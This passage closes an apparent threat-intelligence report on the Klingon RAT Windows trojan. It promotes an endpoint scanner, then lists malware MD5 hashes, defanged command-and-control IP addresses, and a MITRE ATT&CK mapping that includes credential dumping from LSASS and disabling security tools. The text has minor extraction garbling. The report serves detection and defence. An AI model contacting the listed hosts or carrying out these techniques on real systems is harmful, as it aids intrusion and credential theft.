Finally, the malware will periodically get information about the local network and adapters.

Detect and Respond to Klingon RAT

Detect if your Windows machine or server has been compromised by Klingon RAT or any
variant that reuses code using the Intezer Analyze Live Endpoint Scanner available via the
enterprise edition. Running the scanner will classify all binary code residing in your machine’s
memory.

INTEZER ANALYZE

.enetic Summary

44237e2de44a533751c0baace09cf83293572ae7c51cb4575¢7267 ...

Figure 21: Endpoint scan of an infected system

Indicators of Compromise
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https://analyze.intezer.com/endpoint-analyses
https://www.intezer.com/pricing/

MD5

C2

8d44ccac6b5512a416339984ad664d79

185.188.183[.]144

14471a353788bb6cdb6071d0e0a83004 94.177.123[.]134

327090cbddf94fc901662f0e863balcb

88.214.27[.]40

39d550fd902ca4c1461961d01ad1aeb6

MITRE ATT&CK

51.83.216[.]211

Tactic ID Name
Execution T1059.001 PowerShell
T1059.003 Windows Command Shell
T1047 Windows Management Instrumentation
Persistence T1547.001 Registry Run Keys / Startup Folder
T1547.004 Winlogon Helper DLL
T1546.003 Windows Management Instrumentation Event
Subscription
T1546.012 Image File Execution Options Injection
T1053.005 Scheduled Task
Privilege Escalation = T1548.002 Bypass User Account Control
Defense Evasion T1562.001 Disable or Modify Tools
T1070.004 File Deletion
Credential Access T1003.001 LSASS Memory
Discovery 11082 System Information Discovery
T1016 System Network Configuration Discovery
T1018 Remote System Discovery
Command and T1571 Non-Standard Port
Control
T1071.001 Web Protocols
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https://attack.mitre.org/tactics/TA0002/
https://attack.mitre.org/techniques/T1059/001/
https://attack.mitre.org/techniques/T1059/003/
https://attack.mitre.org/techniques/T1047/
https://attack.mitre.org/tactics/TA0003
https://attack.mitre.org/techniques/T1547/001/
https://attack.mitre.org/techniques/T1547/004/
https://attack.mitre.org/techniques/T1546/003/
https://attack.mitre.org/techniques/T1546/012/
https://attack.mitre.org/techniques/T1053/005/
https://attack.mitre.org/tactics/TA0004/
https://attack.mitre.org/techniques/T1548/002/
https://attack.mitre.org/tactics/TA0005/
https://attack.mitre.org/techniques/T1562/001/
https://attack.mitre.org/techniques/T1070/004/
https://attack.mitre.org/tactics/TA0006/
https://attack.mitre.org/techniques/T1003/001/
https://attack.mitre.org/tactics/TA0007
https://attack.mitre.org/techniques/T1082/
https://attack.mitre.org/techniques/T1016/
https://attack.mitre.org/techniques/T1018/
https://attack.mitre.org/tactics/TA0011/
https://attack.mitre.org/techniques/T1571/
https://attack.mitre.org/techniques/T1071/001/
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